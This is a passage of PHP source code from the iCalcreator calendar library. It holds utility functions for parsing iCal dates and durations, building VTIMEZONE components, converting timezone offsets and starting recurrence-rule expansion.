        (( '+0000' == $output['tz'] ) || ( '-0000' == $output['tz'] ) || ( '+000000' == $output['tz'] ) || ( '-000000' == $output['tz'] )))
                                             $output['tz']   = 'Z';
    }
    return $output;
  }
/**
 * check date(-time) and params arrays for an opt. timezone and if it is a DATE-TIME or DATE (updates $parno and params)
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.10.30 - 2012-01-16
 * @param array $date, date to check
 * @param int $parno, no of date parts (i.e. year, month.. .)
 * @param array $params, property parameters
 * @return void
 */
  public static function _chkdatecfg( $theDate, & $parno, & $params ) {
    if( isset( $params['TZID'] ))
      $parno = 6;
    elseif( isset( $params['VALUE'] ) && ( 'DATE' == $params['VALUE'] ))
      $parno = 3;
    else {
      if( isset( $params['VALUE'] ) && ( 'PERIOD' == $params['VALUE'] ))
        $parno = 7;
      if( is_array( $theDate )) {
        if( isset( $theDate['timestamp'] ))
          $tzid = ( isset( $theDate['tz'] )) ? $theDate['tz'] : null;
        else
          $tzid = ( isset( $theDate['tz'] )) ? $theDate['tz'] : ( 7 == count( $theDate )) ? end( $theDate ) : null;
        if( !empty( $tzid )) {
          $parno = 7;
          if( !iCalUtilityFunctions::_isOffset( $tzid ))
            $params['TZID'] = $tzid; // save only timezone
        }
        elseif( !$parno && ( 3 == count( $theDate )) &&
          ( isset( $params['VALUE'] ) && ( 'DATE' == $params['VALUE'] )))
          $parno = 3;
        else
          $parno = 6;
      }
      else { // string
        $date = trim( $theDate );
        if( 'Z' == substr( $date, -1 ))
          $parno = 7; // UTC DATE-TIME
        elseif((( 8 == strlen( $date ) && ctype_digit( $date )) || ( 11 >= strlen( $date ))) &&
          ( !isset( $params['VALUE'] ) || !in_array( $params['VALUE'], array( 'DATE-TIME', 'PERIOD' ))))
          $parno = 3; // DATE
        $date = iCalUtilityFunctions::_strdate2date( $date, $parno );
        unset( $date['unparsedtext'] );
        if( !empty( $date['tz'] )) {
          $parno = 7;
          if( !iCalUtilityFunctions::_isOffset( $date['tz'] ))
            $params['TZID'] = $date['tz']; // save only timezone
        }
        elseif( empty( $parno ))
          $parno = 6;
      }
      if( isset( $params['TZID'] ))
        $parno = 6;
    }
  }
/**
 * vcalendar sort callback function
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.2 - 2012-12-17
 * @param array $a
 * @param array $b
 * @return int
 */
  public static function _cmpfcn( $a, $b ) {
    if(        empty( $a ))                       return -1;
    if(        empty( $b ))                       return  1;
    if( 'vtimezone' == $a->objName ) {
      if( 'vtimezone' != $b->objName )            return -1;
      elseif( $a->srtk[0] <= $b->srtk[0] )        return -1;
      else                                        return  1;
    }
    elseif( 'vtimezone' == $b->objName )          return  1;
    $sortkeys = array( 'year', 'month', 'day', 'hour', 'min', 'sec' );
    for( $k = 0; $k < 4 ; $k++ ) {
      if(        empty( $a->srtk[$k] ))           return -1;
      elseif(    empty( $b->srtk[$k] ))           return  1;
      if( is_array( $a->srtk[$k] )) {
        if( is_array( $b->srtk[$k] )) {
          foreach( $sortkeys as $key ) {
            if    ( !isset( $a->srtk[$k][$key] )) return -1;
            elseif( !isset( $b->srtk[$k][$key] )) return  1;
            if    (  empty( $a->srtk[$k][$key] )) return -1;
            elseif(  empty( $b->srtk[$k][$key] )) return  1;
            if    (         $a->srtk[$k][$key] == $b->srtk[$k][$key])
                                                  continue;
            if    ((  (int) $a->srtk[$k][$key] ) < ((int) $b->srtk[$k][$key] ))
                                                  return -1;
            elseif((  (int) $a->srtk[$k][$key] ) > ((int) $b->srtk[$k][$key] ))
                                                  return  1;
          }
        }
        else                                      return -1;
      }
      elseif( is_array( $b->srtk[$k] ))           return  1;
      elseif( $a->srtk[$k] < $b->srtk[$k] )       return -1;
      elseif( $a->srtk[$k] > $b->srtk[$k] )       return  1;
    }
    return 0;
  }
/**
 * byte oriented line folding fix
 *
 * remove any line-endings that may include spaces or tabs
 * and convert all line endings (iCal default '\r\n'),
 * takes care of '\r\n', '\r' and '\n' and mixed '\r\n'+'\r', '\r\n'+'\n'
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.12.17 - 2012-07-12
 * @param string $text
 * @param string $nl
 * @return string
 */
  public static function convEolChar( & $text, $nl ) {
    $outp = '';
    $cix  = 0;
    while(    isset(   $text[$cix] )) {
      if(     isset(   $text[$cix + 2] ) &&  ( "\r" == $text[$cix] ) && ( "\n" == $text[$cix + 1] ) &&
        ((    " " ==   $text[$cix + 2] ) ||  ( "\t" == $text[$cix + 2] )))                    // 2 pos eolchar + ' ' or '\t'
        $cix  += 2;                                                                           // skip 3
      elseif( isset(   $text[$cix + 1] ) &&  ( "\r" == $text[$cix] ) && ( "\n" == $text[$cix + 1] )) {
        $outp .= $nl;                                                                         // 2 pos eolchar
        $cix  += 1;                                                                           // replace with $nl
      }
      elseif( isset(   $text[$cix + 1] ) && (( "\r" == $text[$cix] ) || ( "\n" == $text[$cix] )) &&
           (( " " ==   $text[$cix + 1] ) ||  ( "\t" == $text[$cix + 1] )))                     // 1 pos eolchar + ' ' or '\t'
        $cix  += 1;                                                                            // skip 2
      elseif(( "\r" == $text[$cix] )     ||  ( "\n" == $text[$cix] ))                          // 1 pos eolchar
        $outp .= $nl;                                                                          // replace with $nl
      else
        $outp .= $text[$cix];                                                                  // add any other byte
      $cix    += 1;
    }
    return $outp;
  }
/**
 * create a calendar timezone and standard/daylight components
 *
 * Result when 'Europe/Stockholm' and no from/to arguments is used as timezone:
 *
 * BEGIN:VTIMEZONE
 * TZID:Europe/Stockholm
 * BEGIN:STANDARD
 * DTSTART:20101031T020000
 * TZOFFSETFROM:+0200
 * TZOFFSETTO:+0100
 * TZNAME:CET
 * END:STANDARD
 * BEGIN:DAYLIGHT
 * DTSTART:20100328T030000
 * TZOFFSETFROM:+0100
 * TZOFFSETTO:+0200
 * TZNAME:CEST
 * END:DAYLIGHT
 * END:VTIMEZONE
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.1 - 2012-11-26
 * Generates components for all transitions in a date range, based on contribution by Yitzchok Lavi <icalcreator@onebigsystem.com>
 * Additional changes jpirkey
 * @param object $calendar, reference to an iCalcreator calendar instance
 * @param string $timezone, a PHP5 (DateTimeZone) valid timezone
 * @param array  $xProp,    *[x-propName => x-propValue], optional
 * @param int    $from      a unix timestamp
 * @param int    $to        a unix timestamp
 * @return bool
 */
  public static function createTimezone( & $calendar, $timezone, $xProp=array(), $from=null, $to=null ) {
    if( empty( $timezone ))
      return FALSE;
    if( !empty( $from ) && !is_int( $from ))
      return FALSE;
    if( !empty( $to )   && !is_int( $to ))
      return FALSE;
    try {
      $dtz               = new DateTimeZone( $timezone );
      $transitions       = $dtz->getTransitions();
      $utcTz             = new DateTimeZone( 'UTC' );
    }
    catch( Exception $e ) { return FALSE; }
    if( empty( $to )) {
      $dates             = array_keys( $calendar->getProperty( 'dtstart' ));
      if( empty( $dates ))
        $dates           = array( date( 'Ymd' ));
    }
    if( !empty( $from ))
      $dateFrom          = new DateTime( "@$from" );             // set lowest date (UTC)
    else {
      $from              = reset( $dates );                      // set lowest date to the lowest dtstart date
      $dateFrom          = new DateTime( $from.'T000000', $dtz );
      $dateFrom->modify( '-1 month' );                           // set $dateFrom to one month before the lowest date
      $dateFrom->setTimezone( $utcTz );                          // convert local date to UTC
    }
    $dateFromYmd         = $dateFrom->format('Y-m-d' );
    if( !empty( $to ))
      $dateTo            = new DateTime( "@$to" );               // set end date (UTC)
    else {
      $to                = end( $dates );                        // set highest date to the highest dtstart date
      $dateTo            = new DateTime( $to.'T235959', $dtz );
      $dateTo->modify( '+1 year' );                              // set $dateTo to one year after the highest date
      $dateTo->setTimezone( $utcTz );                            // convert local date to UTC
    }
    $dateToYmd           = $dateTo->format('Y-m-d' );
    unset( $dtz );
    $transTemp           = array();
    $prevOffsetfrom      = 0;
    $stdIx  = $dlghtIx   = null;
    $prevTrans           = FALSE;
    foreach( $transitions as $tix => $trans ) {                  // all transitions in date-time order!!
      $date              = new DateTime( "@{$trans['ts']}" );    // set transition date (UTC)
      $transDateYmd      = $date->format('Y-m-d' );
      if ( $transDateYmd < $dateFromYmd ) {
        $prevOffsetfrom  = $trans['offset'];                     // previous trans offset will be 'next' trans offsetFrom
        $prevTrans       = $trans;                               // save it in case we don't find any that match
        $prevTrans['offsetfrom'] = ( 0 < $tix ) ? $transitions[$tix-1]['offset'] : 0;
        continue;
      }
      if( $transDateYmd > $dateToYmd )
        break;                                                   // loop always (?) breaks here
      if( !empty( $prevOffsetfrom ) || ( 0 == $prevOffsetfrom )) {
        $trans['offsetfrom'] = $prevOffsetfrom;                  // i.e. set previous offsetto as offsetFrom
        $date->modify( $trans['offsetfrom'].'seconds' );         // convert utc date to local date
        $d = $date->format( 'Y-n-j-G-i-s' );                     // set date to array to ease up dtstart and (opt) rdate setting
        $d = explode( '-', $d );
        $trans['time']   = array( 'year' => $d[0], 'month' => $d[1], 'day' => $d[2], 'hour' => $d[3], 'min' => $d[4], 'sec' => $d[5] );
      }
      $prevOffsetfrom    = $trans['offset'];
      if( TRUE !== $trans['isdst'] ) {                           // standard timezone
        if( !empty( $stdIx ) && isset( $transTemp[$stdIx]['offsetfrom'] )  && // check for any repeating rdate's (in order)
           ( $transTemp[$stdIx]['abbr']       ==   $trans['abbr'] )        &&
           ( $transTemp[$stdIx]['offsetfrom'] ==   $trans['offsetfrom'] )  &&
           ( $transTemp[$stdIx]['offset']     ==   $trans['offset'] )) {
          $transTemp[$stdIx]['rdate'][]        =   $trans['time'];
          continue;
        }
        $stdIx           = $tix;
      } // end standard timezone
      else {                                                     // daylight timezone
        if( !empty( $dlghtIx ) && isset( $transTemp[$dlghtIx]['offsetfrom'] ) && // check for any repeating rdate's (in order)
           ( $transTemp[$dlghtIx]['abbr']       ==   $trans['abbr'] )         &&
           ( $transTemp[$dlghtIx]['offsetfrom'] ==   $trans['offsetfrom'] )   &&
           ( $transTemp[$dlghtIx]['offset']     ==   $trans['offset'] )) {
          $transTemp[$dlghtIx]['rdate'][]        =   $trans['time'];
          continue;
        }
        $dlghtIx         = $tix;
      } // end daylight timezone
      $transTemp[$tix]   = $trans;
    } // end foreach( $transitions as $tix => $trans )
    $tz  = & $calendar->newComponent( 'vtimezone' );
    $tz->setproperty( 'tzid', $timezone );
    if( !empty( $xProp )) {
      foreach( $xProp as $xPropName => $xPropValue )
        if( 'x-' == strtolower( substr( $xPropName, 0, 2 )))
          $tz->setproperty( $xPropName, $xPropValue );
    }
    if( empty( $transTemp )) {      // if no match found
      if( $prevTrans ) {            // then we use the last transition (before startdate) for the tz info
        $date = new DateTime( "@{$prevTrans['ts']}" );           // set transition date (UTC)
        $date->modify( $prevTrans['offsetfrom'].'seconds' );     // convert utc date to local date
        $d = $date->format( 'Y-n-j-G-i-s' );                     // set date to array to ease up dtstart setting
        $d = explode( '-', $d );
        $prevTrans['time'] = array( 'year' => $d[0], 'month' => $d[1], 'day' => $d[2], 'hour' => $d[3], 'min' => $d[4], 'sec' => $d[5] );
        $transTemp[0] = $prevTrans;
      }
      else {                        // or we use the timezone identifier to BUILD the standard tz info (?)
        $date = new DateTime( 'now', new DateTimeZone( $timezone ));
        $transTemp[0] = array( 'time'       => $date->format( 'Y-m-d\TH:i:s O' )
                             , 'offset'     => $date->format( 'Z' )
                             , 'offsetfrom' => $date->format( 'Z' )
                             , 'isdst'      => FALSE );
      }
    }
    unset( $transitions, $date, $prevTrans );
    foreach( $transTemp as $tix => $trans ) {
      $type  = ( TRUE !== $trans['isdst'] ) ? 'standard' : 'daylight';
      $scomp = & $tz->newComponent( $type );
      $scomp->setProperty( 'dtstart',         $trans['time'] );
//      $scomp->setProperty( 'x-utc-timestamp', $tix.' : '.$trans['ts'] );   // test ###
      if( !empty( $trans['abbr'] ))
        $scomp->setProperty( 'tzname',        $trans['abbr'] );
      if( isset( $trans['offsetfrom'] ))
        $scomp->setProperty( 'tzoffsetfrom',  iCalUtilityFunctions::offsetSec2His( $trans['offsetfrom'] ));
      $scomp->setProperty( 'tzoffsetto',      iCalUtilityFunctions::offsetSec2His( $trans['offset'] ));
      if( isset( $trans['rdate'] ))
        $scomp->setProperty( 'RDATE',         $trans['rdate'] );
    }
    return TRUE;
  }
/**
 * creates formatted output for calendar component property data value type date/date-time
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.14.1 - 2012-09-17
 * @param array   $datetime
 * @param int     $parno, optional, default 6
 * @return string
 */
  public static function _format_date_time( $datetime, $parno=6 ) {
    return iCalUtilityFunctions::_date2strdate( $datetime, $parno );
  }
  public static function _date2strdate( $datetime, $parno=6 ) {
    if( !isset( $datetime['year'] )  &&
        !isset( $datetime['month'] ) &&
        !isset( $datetime['day'] )   &&
        !isset( $datetime['hour'] )  &&
        !isset( $datetime['min'] )   &&
        !isset( $datetime['sec'] ))
      return;
    $output     = null;
    foreach( $datetime as $dkey => & $dvalue )
      if( 'tz' != $dkey ) $dvalue = (integer) $dvalue;
    $output = sprintf( '%04d%02d%02d', $datetime['year'], $datetime['month'], $datetime['day'] );
    if( 3 == $parno )
      return $output;
    if( !isset( $datetime['hour'] )) $datetime['hour'] = 0;
    if( !isset( $datetime['min'] ))  $datetime['min']  = 0;
    if( !isset( $datetime['sec'] ))  $datetime['sec']  = 0;
    $output    .= sprintf( 'T%02d%02d%02d', $datetime['hour'], $datetime['min'], $datetime['sec'] );
    if( isset( $datetime['tz'] ) && ( '' < trim( $datetime['tz'] ))) {
      $datetime['tz'] = trim( $datetime['tz'] );
      if( 'Z'  == $datetime['tz'] )
        $parno  = 7;
      elseif( iCalUtilityFunctions::_isOffset( $datetime['tz'] )) {
        $parno  = 7;
        $offset = iCalUtilityFunctions::_tz2offset( $datetime['tz'] );
        try {
          $d    = new DateTime( $output, new DateTimeZone( 'UTC' ));
          if( 0 != $offset ) // adjust för offset
            $d->modify( "$offset seconds" );
          $output = $d->format( 'Ymd\THis' );
        }
        catch( Exception $e ) {
          $output = date( 'Ymd\THis', mktime( $datetime['hour'], $datetime['min'], ($datetime['sec'] - $offset), $datetime['month'], $datetime['day'], $datetime['year'] ));
        }
      }
      if( 7 == $parno )
        $output .= 'Z';
    }
    return $output;
  }
/**
 * convert a date/datetime (array) to timestamp
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.14.1 - 2012-09-29
 * @param array  $datetime  datetime(/date)
 * @param string $wtz       timezone
 * @return int
 */
  public static function _date2timestamp( $datetime, $wtz=null ) {
    if( !isset( $datetime['hour'] )) $datetime['hour'] = 0;
    if( !isset( $datetime['min'] ))  $datetime['min']  = 0;
    if( !isset( $datetime['sec'] ))  $datetime['sec']  = 0;
    if( empty( $wtz ) && ( !isset( $datetime['tz'] ) || empty(  $datetime['tz'] )))
      return mktime( $datetime['hour'], $datetime['min'], $datetime['sec'], $datetime['month'], $datetime['day'], $datetime['year'] );
    $output = $offset = 0;
    if( empty( $wtz )) {
      if( iCalUtilityFunctions::_isOffset( $datetime['tz'] )) {
        $offset = iCalUtilityFunctions::_tz2offset( $datetime['tz'] ) * -1;
        $wtz    = 'UTC';
      }
      else
        $wtz    = $datetime['tz'];
    }
    if(( 'Z' == $wtz ) || ( 'GMT' == strtoupper( $wtz )))
      $wtz      = 'UTC';
    try {
      $strdate  = sprintf( '%04d-%02d-%02d %02d:%02d:%02d', $datetime['year'], $datetime['month'], $datetime['day'], $datetime['hour'], $datetime['min'], $datetime['sec'] );
      $d        = new DateTime( $strdate, new DateTimeZone( $wtz ));
      if( 0    != $offset )  // adjust for offset
        $d->modify( $offset.' seconds' );
      $output   = $d->format( 'U' );
      unset( $d );
    }
    catch( Exception $e ) {
      $output = mktime( $datetime['hour'], $datetime['min'], $datetime['sec'], $datetime['month'], $datetime['day'], $datetime['year'] );
    }
    return $output;
  }
/**
 * ensures internal duration format for input in array format
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.23 - 2013-06-23
 * @param array $duration
 * @return array
 */
  public static function _duration_array( $duration ) {
    return iCalUtilityFunctions::_duration2arr( $duration );
  }
  public static function _duration2arr( $duration ) {
    $seconds        = 0;
    foreach( $duration as $durKey => $durValue ) {
      if( empty( $durValue )) continue;
      switch ( $durKey ) {
        case '0': case 'week':
          $seconds += (((int) $durValue ) * 60 * 60 * 24 * 7 );
          break;
        case '1': case 'day':
          $seconds += (((int) $durValue ) * 60 * 60 * 24 );
          break;
        case '2': case 'hour':
          $seconds += (((int) $durValue ) * 60 * 60 );
          break;
        case '3': case 'min':
          $seconds += (((int) $durValue ) * 60 );
          break;
        case '4': case 'sec':
          $seconds +=   (int) $durValue;
          break;
      }
    }
    $output         = array();
    $output['week'] = (int) floor( $seconds / ( 60 * 60 * 24 * 7 ));
    $seconds        =            ( $seconds % ( 60 * 60 * 24 * 7 ));
    $output['day']  = (int) floor( $seconds / ( 60 * 60 * 24 ));
    $seconds        =            ( $seconds % ( 60 * 60 * 24 ));
    $output['hour'] = (int) floor( $seconds / ( 60 * 60 ));
    $seconds        =            ( $seconds % ( 60 * 60 ));
    $output['min']  = (int) floor( $seconds /   60 );
    $output['sec']  =            ( $seconds %   60 );
    if( !empty( $output['week'] ))
      unset( $output['day'], $output['hour'], $output['min'], $output['sec'] );
    else {
      unset( $output['week'] );
      if( empty( $output['day'] ))
        unset( $output['day'] );
      if(( 0 == $output['hour'] ) && ( 0 == $output['min'] ) && ( 0 == $output['sec'] ))
        unset( $output['hour'], $output['min'], $output['sec'] );
    }
    return $output;
  }
/**
 * convert startdate+duration to a array format datetime
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.15.12 - 2012-10-31
 * @param array   $startdate
 * @param array   $duration
 * @return array, date format
 */
  public static function _duration2date( $startdate, $duration ) {
    $dateOnly          = ( isset( $startdate['hour'] ) || isset( $startdate['min'] ) || isset( $startdate['sec'] )) ? FALSE : TRUE;
    $startdate['hour'] = ( isset( $startdate['hour'] )) ? $startdate['hour'] : 0;
    $startdate['min']  = ( isset( $startdate['min'] ))  ? $startdate['min']  : 0;
    $startdate['sec']  = ( isset( $startdate['sec'] ))  ? $startdate['sec']  : 0;
    $dtend = 0;
    if(    isset( $duration['week'] )) $dtend += ( $duration['week'] * 7 * 24 * 60 * 60 );
    if(    isset( $duration['day'] ))  $dtend += ( $duration['day'] * 24 * 60 * 60 );
    if(    isset( $duration['hour'] )) $dtend += ( $duration['hour'] * 60 *60 );
    if(    isset( $duration['min'] ))  $dtend += ( $duration['min'] * 60 );
    if(    isset( $duration['sec'] ))  $dtend +=   $duration['sec'];
    $date     = date( 'Y-m-d-H-i-s', mktime((int) $startdate['hour'], (int) $startdate['min'], (int) ( $startdate['sec'] + $dtend ), (int) $startdate['month'], (int) $startdate['day'], (int) $startdate['year'] ));
    $d        = explode( '-', $date );
    $dtend2   = array( 'year' => $d[0], 'month' => $d[1], 'day' => $d[2], 'hour' => $d[3], 'min' => $d[4], 'sec' => $d[5] );
    if( isset( $startdate['tz'] ))
      $dtend2['tz']   = $startdate['tz'];
    if( $dateOnly && (( 0 == $dtend2['hour'] ) && ( 0 == $dtend2['min'] ) && ( 0 == $dtend2['sec'] )))
      unset( $dtend2['hour'], $dtend2['min'], $dtend2['sec'] );
    return $dtend2;
  }
/**
 * ensures internal duration format for an input string (iCal) formatted duration
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.14.1 - 2012-09-25
 * @param string $duration
 * @return array
 */
  public static function _duration_string( $duration ) {
    return iCalUtilityFunctions::_durationStr2arr( $duration );
  }
  public static function _durationStr2arr( $duration ) {
    $duration = (string) trim( $duration );
    while( 'P' != strtoupper( substr( $duration, 0, 1 ))) {
      if( 0 < strlen( $duration ))
        $duration = substr( $duration, 1 );
      else
        return false; // no leading P !?!?
    }
    $duration = substr( $duration, 1 ); // skip P
    $duration = str_replace ( 't', 'T', $duration );
    $duration = str_replace ( 'T', '', $duration );
    $output = array();
    $val    = null;
    for( $ix=0; $ix < strlen( $duration ); $ix++ ) {
      switch( strtoupper( substr( $duration, $ix, 1 ))) {
       case 'W':
         $output['week'] = $val;
         $val            = null;
         break;
       case 'D':
         $output['day']  = $val;
         $val            = null;
         break;
       case 'H':
         $output['hour'] = $val;
         $val            = null;
         break;
       case 'M':
         $output['min']  = $val;
         $val            = null;
         break;
       case 'S':
         $output['sec']  = $val;
         $val            = null;
         break;
       default:
         if( !ctype_digit( substr( $duration, $ix, 1 )))
           return false; // unknown duration control character  !?!?
         else
           $val .= substr( $duration, $ix, 1 );
      }
    }
    return iCalUtilityFunctions::_duration2arr( $output );
  }
/**
 * creates formatted output for calendar component property data value type duration
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.15.8 - 2012-10-30
 * @param array $duration, array( week, day, hour, min, sec )
 * @return string
 */
  public static function _format_duration( $duration ) {
    return iCalUtilityFunctions::_duration2str( $duration );
  }
  public static function _duration2str( $duration ) {
    if( isset( $duration['week'] ) ||
        isset( $duration['day'] )  ||
        isset( $duration['hour'] ) ||
        isset( $duration['min'] )  ||
        isset( $duration['sec'] ))
       $ok = TRUE;
    else
      return;
    if( isset( $duration['week'] ) && ( 0 < $duration['week'] ))
      return 'P'.$duration['week'].'W';
    $output = 'P';
    if( isset($duration['day'] ) && ( 0 < $duration['day'] ))
      $output .= $duration['day'].'D';
    if(( isset( $duration['hour']) && ( 0 < $duration['hour'] )) ||
       ( isset( $duration['min'])  && ( 0 < $duration['min'] ))  ||
       ( isset( $duration['sec'])  && ( 0 < $duration['sec'] ))) {
      $output .= 'T';
      $output .= ( isset( $duration['hour']) && ( 0 < $duration['hour'] )) ? $duration['hour'].'H' : '0H';
      $output .= ( isset( $duration['min'])  && ( 0 < $duration['min'] ))  ? $duration['min']. 'M' : '0M';
      $output .= ( isset( $duration['sec'])  && ( 0 < $duration['sec'] ))  ? $duration['sec']. 'S' : '0S';
    }
    if( 'P' == $output )
      $output = 'PT0H0M0S';
    return $output;
  }
/**
 * removes expkey+expvalue from array and returns hitval (if found) else returns elseval
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.4.16 - 2008-11-08
 * @param array $array
 * @param string $expkey, expected key
 * @param string $expval, expected value
 * @param int $hitVal optional, return value if found
 * @param int $elseVal optional, return value if not found
 * @param int $preSet optional, return value if already preset
 * @return int
 */
  public static function _existRem( &$array, $expkey, $expval=FALSE, $hitVal=null, $elseVal=null, $preSet=null ) {
    if( $preSet )
      return $preSet;
    if( !is_array( $array ) || ( 0 == count( $array )))
      return $elseVal;
    foreach( $array as $key => $value ) {
      if( strtoupper( $expkey ) == strtoupper( $key )) {
        if( !$expval || ( strtoupper( $expval ) == strtoupper( $array[$key] ))) {
          unset( $array[$key] );
          return $hitVal;
        }
      }
    }
    return $elseVal;
  }
/**
 * checks if input contains a (array formatted) date/time
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.24 - 2013-07-02
 * @param array $input
 * @return bool
 */
  public static function _isArrayDate( $input ) {
    if( !is_array( $input ) || isset( $input['week'] ) || isset( $input['timestamp'] ) || ( 3 > count( $input )))
      return FALSE;
    if( 7 == count( $input ))
      return TRUE;
    if( isset( $input['year'] ) && isset( $input['month'] ) && isset( $input['day'] ))
      return checkdate( (int) $input['month'], (int) $input['day'], (int) $input['year'] );
    if( isset( $input['day'] ) || isset( $input['hour'] ) || isset( $input['min'] ) || isset( $input['sec'] ))
      return FALSE;
    if(( 0 == $input[0] ) || ( 0 == $input[1] ) || ( 0 == $input[2] ))
      return FALSE;
    if(( 1970 > $input[0] ) || ( 12 < $input[1] ) || ( 31 < $input[2] ))
      return FALSE;
    if(( isset( $input[0] ) && isset( $input[1] ) && isset( $input[2] )) &&
         checkdate((int) $input[1], (int) $input[2], (int) $input[0] ))
      return TRUE;
    $input = iCalUtilityFunctions::_strdate2date( $input[1].'/'.$input[2].'/'.$input[0], 3 ); //  m - d - Y
    if( isset( $input['year'] ) && isset( $input['month'] ) && isset( $input['day'] ))
      return checkdate( (int) $input['month'], (int) $input['day'], (int) $input['year'] );
    return FALSE;
  }
/**
 * checks if input array contains a timestamp date
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.4.16 - 2008-10-18
 * @param array $input
 * @return bool
 */
  public static function _isArrayTimestampDate( $input ) {
    return ( is_array( $input ) && isset( $input['timestamp'] )) ? TRUE : FALSE ;
  }
/**
 * controls if input string contains (trailing) UTC/iCal offset
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.14.1 - 2012-09-21
 * @param string $input
 * @return bool
 */
  public static function _isOffset( $input ) {
    $input         = trim( (string) $input );
    if( 'Z' == substr( $input, -1 ))
      return TRUE;
    elseif((   5 <= strlen( $input )) &&
       ( in_array( substr( $input, -5, 1 ), array( '+', '-' ))) &&
       (   '0000' <= substr( $input, -4 )) && (   '9999' >= substr( $input, -4 )))
      return TRUE;
    elseif((    7 <= strlen( $input )) &&
       ( in_array( substr( $input, -7, 1 ), array( '+', '-' ))) &&
       ( '000000' <= substr( $input, -6 )) && ( '999999' >= substr( $input, -6 )))
      return TRUE;
    return FALSE;
  }
/**
 * (very simple) conversion of a MS timezone to a PHP5 valid (Date-)timezone
 * matching (MS) UCT offset and time zone descriptors
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.14.1 - 2012-09-16
 * @param string $timezone, input/output variable reference
 * @return bool
 */
  public static function ms2phpTZ( & $timezone ) {
    if( empty( $timezone ))
      return FALSE;
    $search = str_replace( '"', '', $timezone );
    $search = str_replace( array('GMT', 'gmt', 'utc' ), 'UTC', $search );
    if( '(UTC' != substr( $search, 0, 4 ))
      return FALSE;
    if( FALSE === ( $pos = strpos( $search, ')' )))
      return FALSE;
    $pos    = strpos( $search, ')' );
    $searchOffset = substr( $search, 4, ( $pos - 4 ));
    $searchOffset = iCalUtilityFunctions::_tz2offset( str_replace( ':', '', $searchOffset ));
    while( ' ' ==substr( $search, ( $pos + 1 )))
      $pos += 1;
    $searchText   = trim( str_replace( array( '(', ')', '&', ',', '  ' ), ' ', substr( $search, ( $pos + 1 )) ));
    $searchWords  = explode( ' ', $searchText );
    $timezone_abbreviations = DateTimeZone::listAbbreviations();
    $hits = array();
    foreach( $timezone_abbreviations as $name => $transitions ) {
      foreach( $transitions as $cnt => $transition ) {
        if( empty( $transition['offset'] )      ||
            empty( $transition['timezone_id'] ) ||
          ( $transition['offset'] != $searchOffset ))
        continue;
        $cWords = explode( '/', $transition['timezone_id'] );
        $cPrio   = $hitCnt = $rank = 0;
        foreach( $cWords as $cWord ) {
          if( empty( $cWord ))
            continue;
          $cPrio += 1;
          $sPrio  = 0;
          foreach( $searchWords as $sWord ) {
            if( empty( $sWord ) || ( 'time' == strtolower( $sWord )))
              continue;
            $sPrio += 1;
            if( strtolower( $cWord ) == strtolower( $sWord )) {
              $hitCnt += 1;
              $rank   += ( $cPrio + $sPrio );
            }
            else
              $rank += 10;
          }
        }
        if( 0 < $hitCnt ) {
          $hits[$rank][] = $transition['timezone_id'];
        }
      }
    }
    unset( $timezone_abbreviations );
    if( empty( $hits ))
      return FALSE;
    ksort( $hits );
    foreach( $hits as $rank => $tzs ) {
      if( !empty( $tzs )) {
        $timezone = reset( $tzs );
        return TRUE;
      }
    }
    return FALSE;
  }
/**
 * transforms offset in seconds to [-/+]hhmm[ss]
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2011-05-02
 * @param string $seconds
 * @return string
 */
  public static function offsetSec2His( $seconds ) {
    if( '-' == substr( $seconds, 0, 1 )) {
      $prefix  = '-';
      $seconds = substr( $seconds, 1 );
    }
    elseif( '+' == substr( $seconds, 0, 1 )) {
      $prefix  = '+';
      $seconds = substr( $seconds, 1 );
    }
    else
      $prefix  = '+';
    $output  = '';
    $hour    = (int) floor( $seconds / 3600 );
    if( 10 > $hour )
      $hour  = '0'.$hour;
    $seconds = $seconds % 3600;
    $min     = (int) floor( $seconds / 60 );
    if( 10 > $min )
      $min   = '0'.$min;
    $output  = $hour.$min;
    $seconds = $seconds % 60;
    if( 0 < $seconds) {
      if( 9 < $seconds)
        $output .= $seconds;
      else
        $output .= '0'.$seconds;
    }
    return $prefix.$output;
  }
/**
 * updates an array with dates based on a recur pattern
 *
 * if missing, UNTIL is set 1 year from startdate (emergency break)
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.10.19 - 2011-10-31
 * @param array $result, array to update, array([timestamp] => timestamp)
 * @param array $recur, pattern for recurrency (only value part, params ignored)
 * @param array $wdate, component start date
 * @param array $startdate, start date
 * @param array $enddate, optional
 * @return void
 * @todo BYHOUR, BYMINUTE, BYSECOND, WEEKLY at year end/start
 */
  public static function _recur2date( & $result, $recur, $wdate, $startdate, $enddate=FALSE ) {
    foreach( $wdate as $k => $v ) if( ctype_digit( $v )) $wdate[$k] = (int) $v;
    $wdateStart  = $wdate;
    $wdatets     = iCalUtilityFunctions::_date2timestamp( $wdate );
    $startdatets = iCalUtilityFunctions::_date2timestamp( $startdate );
    if( !$enddate ) {
      $enddate = $startdate;
      $enddate['year'] += 1;
    }
// echo "recur __in_ comp start ".implode('-',$wdate)." period start ".implode('-',$startdate)." period end ".implode('-',$enddate)."<br>\n";print_r($recur);echo "<br>\n";//test###
